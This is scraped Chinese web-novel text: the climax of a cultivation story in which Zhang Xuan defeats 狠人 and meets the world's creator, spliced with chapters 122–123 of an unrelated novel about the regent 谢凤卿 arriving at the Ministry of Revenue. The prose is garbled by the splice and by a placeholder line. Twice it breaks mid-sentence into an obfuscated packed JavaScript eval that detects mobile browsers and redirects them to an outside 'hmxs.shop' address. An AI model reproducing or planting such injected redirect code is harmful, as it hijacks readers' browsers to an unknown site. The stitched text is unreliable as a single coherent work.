和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819008|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第122章山雨欲来风满楼 “宗庙啊……那可是供奉列祖列宗的地方,她竟敢在那里动刀兵……真是……真是……” 议论至此,往往便戛然而止。取而代之的,是长久的沉默,和彼此交换的、充满惊惧、猜疑、权衡与深深忌惮的眼神。有人下意识地摩挲着茶杯冰凉的边缘,有人不自觉地望向窗外依旧沉沉的夜色,仿佛那黑暗中潜伏着无数双窥探的眼睛。 惊惧,是对那位年轻摄政王莫测高深的心机和狠辣手段的恐惧。她不动则已,一动便是雷霆万钧,不留丝毫余地。 猜疑,是审视自身,是打量盟友,更是揣测风向。下一个会是谁?这把火,会不会烧到自己身上?往日里与宗室那些或明或暗的往来,此刻都成了悬在头顶的利剑。 观望,是眼下大多数人唯一的选择。在局势未曾明朗之前,任何轻举妄动,都可能招致灭顶之灾。于是,大家都不约而同地选择了沉默,选择了蜷缩起来,如同受惊的鼹鼠,在黑暗中竖起耳朵,捕捉着外界最细微的声响。 这种种复杂难言的情绪,如同无数条冰冷的毒蛇,交织缠绕,爬满了帝都的心脏。它们使得这个原本只是寒冷的冬日清晨,变得格外压抑,格外沉重。每一口呼吸,都仿佛要耗费极大的力气;每一刻的等待,都漫长得如同煎熬。 黎明前的黑暗,最为深沉。而此刻的帝都,正处在这片由权力、鲜血和未知共同酿制的、最浓稠的黑暗之中。所有人都在等待,等待着东方那线微光,究竟会带来怎样的白昼。是雨过天晴,还是又一场更猛烈的暴风雪? 就在这黎明前最深沉、最压抑的时刻,一阵极具穿透力的声响,毫无预兆地撕裂了皇城周边的死寂。 那并非寻常街市的车马辚辚,而是沉重、整齐、富有韵律到令人心悸的马蹄声。蹄铁敲击在冰冷坚硬的青石板路上,发出“嗒…嗒…嗒…”的脆响,每一声的间隔都精准一致,仿佛并非血肉之躯的马匹在行走,而是某种巨大的、精密的战争机器在稳步推进。这声音初时似从极远处传来,沉闷如地底闷雷,但转眼之间,便由远及近,以一种不容置疑的速度和威势,踏碎了所有残存的宁静,也踏在了每一个暗中窥探者的心尖上。 循声望去,只见一列玄黑色的仪仗,自朦胧的晨曦微光中缓缓显现。其色如最深沉子夜凝聚而成的实体,又似泼洒在黎明画卷上最浓重的一笔墨痕。队伍行进间,无声无息,却带着一股足以让空气凝滞的沉重压力。那并非送葬队伍的悲戚,亦非庆典巡游的喧闹,而是一种纯粹的、不加掩饰的权柄与力量的展示,沉稳、肃穆,如同暗夜中无声移动的墨色山峦,带着碾碎一切阻碍的磅礴气势。 最终,这座“山峦”沉稳地停驻在了户部衙署那扇象征着帝国财赋重地的朱漆大门之前。门楣上“户部”二字的金漆牌匾,在玄黑仪仗的映衬下,竟也显得黯淡了几分。这正是当今权倾朝野、执掌帝国权柄的摄政王谢凤卿的王驾。 仔细看去,王驾前后护卫的甲士,皆身披制式统一的玄色铁甲,甲叶在微光下泛着幽冷的金属光泽。他们头顶的铁盔压得极低,遮住了大半面容,唯有一双双暴露在外的眼睛,如同在暗夜中觅食的鹰隼,锐利、冰冷,不含丝毫人类情感,只是机械而警惕地扫视着四周任何可能存在的威胁。他们的步伐仿佛用尺子量过,动作协调得宛如一人,举手投足间,带着一种只有在尸山血海中反复淬炼才能形成的、近乎本能的煞气,使得周遭的温度都仿佛骤然降低了几度。 然而,更令人心悸的,并非是这些明面上护卫的精锐甲士,而是那些若隐若现、如同鬼魅般游弋在銮驾周围的身影——“风雪十八骑”。他们的人数似乎并不固定,时而清晰,时而模糊,仿佛能融于光影的缝隙之中。他们并未穿着厚重的制式铠甲,而是一身利于隐匿与搏杀的玄色劲装,但每个人身上散发出的那股凛冽气息,却比寒铁更冷,比刀锋更利。那是一种经过千挑万选、历经无数生死、将自身完全磨砺成**兵器的死士所独有的气场。他们沉默无言,但存在本身,就是一种无声的宣告:生人勿近,擅闯者死。空气在他们周围似乎都停止了流动,隐隐结成了无形的冰霜,让所有窥视的目光都不由自主地想要退缩、逃离。 与这支带来死亡压迫感的队伍形成鲜明对比的,是户部门口那黑压压跪伏一地的人群。以年过五旬、鬓角已见斑白的户部尚书李德明为首,左右侍郎、各司郎中、主事以及衙内有品级的官员,足足数十人,早已按品级高低,跪满了衙署门前冰冷的石阶与空地。 初春的晨风,依旧带着浸入骨髓的寒意,吹拂着他们身上的官袍。然而,此刻让这些朝廷大员们身体控制不住微微颤抖的,绝非仅仅是这物理上的寒冷。许多人额头上沁出了细密油亮的冷汗,汇聚成珠,顺着额角、鼻翼滑落,滴在身下的石板上,留下深色的印记。他们的官袍后背,也早已被涔涔冷汗浸湿,紧紧贴在皮肤上,勾勒出狼狈的轮廓。跪姿更是各异,有人勉强维持着仪态,腰背挺直却僵硬如铁;有人则几乎匍匐在地,额头紧贴冰冷的地面,仿佛唯有如此才能汲取一丝虚幻的安全感。 空气中弥漫的那种无形压力,源自那玄黑色的王驾,源自那些冰冷的甲士和幽灵般的“风雪十八骑”,更源自王驾中那位尚未露面的人物。这种压力,比冬日清晨最刺骨的寒意更要凛冽千倍、万倍!它无孔不入,钻入每个人的毛孔,压得他们心脏狂跳,呼吸艰难,几乎要晕厥过去。 谁都不是傻子。在场的每一位官员,心中都如同明镜一般。这位刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16824997|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚以雷霆万钧之势,在供奉列祖列宗的宗庙之前,完成了对盘根错节的宗室势力血腥清洗的摄政王,在此等敏感得如同绷紧弓弦的时刻,突然驾临掌管天下钱粮税银、帝国命脉所在的户部,其目的,怎么可能仅仅是简单的“视察”? “山雨欲来风满楼”——这句古老的谚语,此刻如同沉重的枷锁,套在了每一位户部官员的心头。而那毁灭性的山雨尚未倾盆,这前奏的“风”,已然带着席卷一切的肃杀,吹得他们魂飞魄散,心胆俱裂。一些心理承受能力稍差的低级官员,甚至已经开始牙关打颤,发出细微的“咯咯”声,在死寂的空气中显得格外清晰,也更添几分恐怖。 所有人的注意力,都死死地盯在那扇紧闭的王驾车门上,等待着那位决定他们命运、乃至帝国财政走向的人物,现身的那一刻。每一秒的等待,都漫长得如同一个世纪。 銮驾如山峙岳立般停稳,连最细微的晃动也无,显示出驭手高超的技艺与整个仪仗队伍的绝对纪律性。时间仿佛在这一刻凝滞,所有跪伏在地的官员都屏住了呼吸,连最细微的衣料摩擦声都消失了,只有心脏在胸腔里狂跳的“咚咚”声,擂鼓般敲打着自己的耳膜。 一名身披玄甲、体型魁梧的亲卫统领,以无可挑剔的敏捷与恭敬,大步上前。他单膝微屈,伸出覆着铁甲的手臂,动作却异常轻柔地握住了那垂着墨色流苏的车帘边缘。随着他手臂稳定而缓慢地后拉,厚重的锦缎车帘被悄然掀开,仿佛揭开一个重大仪式的序幕。 率先闯入众人因极度紧张而低垂、却又忍不住向上窥视的眼帘的,是一双踏在鎏金踏脚上的玄色锦缎靴子。靴子的用料是顶级的暗纹云锦,在熹微的晨光下,只能隐约看到其上游走着用更深的玄色丝线绣出的繁复暗云纹路,唯有当光线角度恰好时,才会反射出一抹转瞬即逝的、内敛的金色光泽,于低调中透出难以言喻的奢华与权威。靴筒笔挺,一尘不染,显示出主人极致的严谨与洁净。 紧接着,谢凤卿的身影,便完整地显露在这片肃杀而寒冷的晨光之中。 她今日果然未曾穿着那套象征着亲王尊位、却略显冗赘繁复的正式礼服,而是一身与她銮驾同色的玄色常服。但这身常服的剪裁却极为考究,线条利落流畅,完美地贴合着她挺拔而矫健的身姿,既便于行动,又丝毫不减威仪。衣料是某种带有细微光泽的厚缎,随着她细微的动作,光线流淌,仿佛有暗夜在其上流动。墨玉般乌黑润泽的长发,并未梳成复杂的发髻,仅用一根看似朴素无华、实则木质温润罕见的乌木长簪松松挽起,几缕不听话的发丝垂落在颊边,更添几分随性中的不羁。这种简洁,反而将她光洁饱满的额头、以及那双深邃得如同万年寒潭的眼眸,毫无保留地凸显出来。 第123章所有账目,一笔一笔,核 她的面容无疑是姣好的,肌肤白皙,五官精致如画。然而,任何初见之人,都绝不会首先注意到她作为女子的美丽。因为在那张脸上,寻不到半分寻常闺阁的柔媚之态,眉宇间凝聚着的,是历经沙场铁血洗礼、朝堂风云诡谲所淬炼出的逼人英气与深沉威严。那是一种混合了智慧、果决、冷厉与强大自信的气质,如同实质般迫人而来,令人心旌摇曳,不敢直视,甚至生出想要匍匐在地的敬畏。 而最引人注目,也最令人心悸的,则是她腰间那柄随身佩戴的长剑。剑鞘样式古朴至极,看不出是何种材质所制,非金非木,颜色暗沉。但奇异的是,那暗沉的鞘身上,竟天然生有着宛如灼灼盛放桃花般的纹路,脉络清晰,栩栩如生,仿佛有生命在其中流淌。这便是名震天下、伴随她立下无数赫赫战功的“桃花剑”。它不仅仅是一柄吹毛断发的神兵利器,更是摄政王谢凤卿无上权柄与力量的象征。即便此刻剑在鞘中,安安静静,也自有一股森然凛冽的剑气弥漫开来,无声地宣告着其主人拥有着生杀予夺的绝对权力。 谢凤卿的目光,平静得近乎淡漠,如同冰封的湖面,缓缓扫过脚下伏地的一片绯色、青色官袍。她的视线没有在任何一个人身上多做停留,仿佛眼前跪拜的并非朝廷命官,而仅仅是一片无生命的景物。她没有依照官场惯例,说一句“众卿平身”,甚至连一个示意起身的眼神都欠奉,只是极其轻微地、几乎难以察觉地颔首,算是接受了这群人的跪迎。 随即,她迈开了步伐。 她的步伐并不快,却异常沉稳有力,每一步的距离都仿佛经过精确丈量。玄色靴底踏在户部庭院冰冷的石板路上,发出清晰而富有韵律的“嗒、嗒”声响。这声音并不响亮,但在死寂的庭院中,却如同重锤,一下一下,精准地敲打在每一位跪地官员的心尖上。他们能清晰地感觉到那脚步声由远及近,又从自己身旁掠过,带来的压迫感几乎让他们窒息。有些人甚至不自觉地缩紧了肩膀,仿佛那脚步声能踩碎他们的魂魄。 就在谢凤卿走出数步之后,銮驾之中,另一道身影也随之现身。监国亲王萧御,今日亦是一身常服,颜色是比玄色稍浅、显得更为沉稳内敛的藏蓝色,以银线绣着简约的蟠螭纹,衬得他面容愈发俊朗温雅,长身玉立,自带一股天家贵胲的雍容气度。与谢凤卿那种仿佛能冻结一切的冰冷凌厉截然不同,萧御的气质更偏向温润如玉,如同上好的羊脂白玉,光华内蕴。 然而,此刻他那张俊美的脸上,虽然维持着沉静的表情,但那双总是含着几分温和笑意的眼眸深处,却清晰地沉淀着一丝与经济事务相关的凝重,以及一抹不易为人察觉的忧虑。他的目光快速扫过庭院中噤若寒蝉的官员,随即与前方谢凤卿的背影交汇了一瞬。两人之间没有任何言语,甚至连表情都未曾改变,但就在那电光石火的眼神交换中,一种无需言说的默契与共识已然达成。他们都明白,今日踏入户部正堂,便是要揭开帝国钱袋子最后遮羞布的时刻,注定充满了未知的凶险与激烈的博弈,绝不会平静收场。 直到谢凤卿的身影即将穿过庭院,走向那扇通往户部核心机密的朱漆大门时,她才头也不回地开口,声音不高,却如同冰珠落玉盘,清越中带着天生的冷冽质感,语调平稳无波,却字字蕴含着不容置疑的威严,清晰地穿透寒冷的空气,钻进每一个仍跪在地上、心惊胆战的官员耳中: “都起来,跟进来。” 这五个字,对于跪得双腿麻木、心神俱疲的官员们而言,不啻于天籁之音。他们如蒙大赦,也顾不得仪态,慌忙叩头,乱七八糟地喊着:“谢王爷恩典!谢殿下恩典!”然后手忙脚乱地试图从冰冷的地面上爬起来。由于跪得太久,加之极度恐惧导致腿脚酸软,不少人起身时踉踉跄跄,需要互相搀扶才能站稳,官帽歪斜,袍袖沾尘,显得狼狈不堪。 然而,这短暂“获释”的轻松感转瞬即逝。当他们意识到接下来要面对的是什么——是进入那存放着无数秘密账册的正堂,是在这位杀伐果断的摄政王眼皮底下核对那些可能藏着致命问题的账目——时,心头那块名为“未知恐惧”的巨石,非但没有落下,反而变得更加沉重,几乎要将他们压垮。他们互相交换着惊惶无助、充满绝望的眼神,没有人敢大声说话,只能勉强整理一下衣冠,然后小跑着,几乎是踮着脚尖,最大限度地减少脚步声,屏住呼吸,如同一条条被无形绳索牵引的惊弓之鸟,小心翼翼地跟随着前方那两道决定着他们命运的背影,涌入了那扇仿佛能吞噬一切的户部正堂大门。 户部正堂,与其说是厅堂,不如说是一座以账册为砖石砌成的沉默堡垒。其空间之阔大,近乎幽邃,人立于其中,顿觉自身渺小。数人合抱粗细的朱漆圆柱支撑着高不可及的穹顶,仰首望去,只见梁椽交错,隐没在昏暗的光线里,仿佛直通云霄。而最令人震撼的,是沿着四壁耸立、直抵穹隆的高大架阁,它们如同巨人的书架,又似蜂巢般密集的格子间,里面分门别类、密密麻麻地塞满了历年来的账册、卷宗、鱼鳞图册。这些册籍堆积如山,纸页泛黄,墨迹深浅不一,无声地记录着帝国百年来的财赋流转、民生百态,远远望去,竟如一片由文字与数字构成的、浩瀚而无言的森林。 